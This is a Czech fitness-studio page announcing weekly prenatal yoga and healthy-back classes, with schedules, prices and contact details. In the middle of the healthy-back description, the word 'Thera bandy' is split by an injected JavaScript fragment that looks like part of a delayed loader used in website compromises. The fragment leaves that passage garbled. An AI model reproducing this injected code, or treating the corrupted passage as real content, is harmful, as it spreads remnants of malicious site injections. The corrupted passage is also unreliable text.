Gravid jóga 11.15 – 12.15 otevřená lekce / Eliška Jarošová

Vhodné pro nastávající maminky od druhého trimestru (v prvním trimestru cvičení nedoporučujeme, pouze v případě, že je žena na sport zvyklá a to na vlastní zodpovědnost) Snadný, nenáročný průběh Soubor technik, jak pracovat s tělem v těhotenství – zklidnění, koncentrace, naladění na miminko Protažení, uvolnění napětí, posílení vhodných svalových skupin Lekce jsou vhodné pro ženy i bez předchozí zkušenosti s jógou každé Úterý, 11:15 – 12:15, jednotlivý vstup 150 Kč / lekce Přihlášky: tel. +420 775 104 740, eliska.jaroso@gmail.com
Read More

Zdravá záda 10.00 – 11.00 otevřená lekce / Eliška Jarošová

Vhodné pro všechny věkové skupiny, začátečníky i pokročilé – bez ohledu na konstituci a aktuální kondici Zpevnění ochablých svalů, vyrovnání svalových dysbalancí, zmírnění zdravotních obtíží s pohybovým aparátem, zlepšení pohybových stereotypů, koordinace, správné držení těla, nácvik dechových technik, radost z pohybu Využití pomůcek – míčky, overbally, Thera bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andy, válce … každé Úterý, 10:00 – 11:00, jednotlivý vstup 150 Kč / lekce Přihlášky: tel. +420 775 104 740, eliska.jaroso@gmail.com
Read More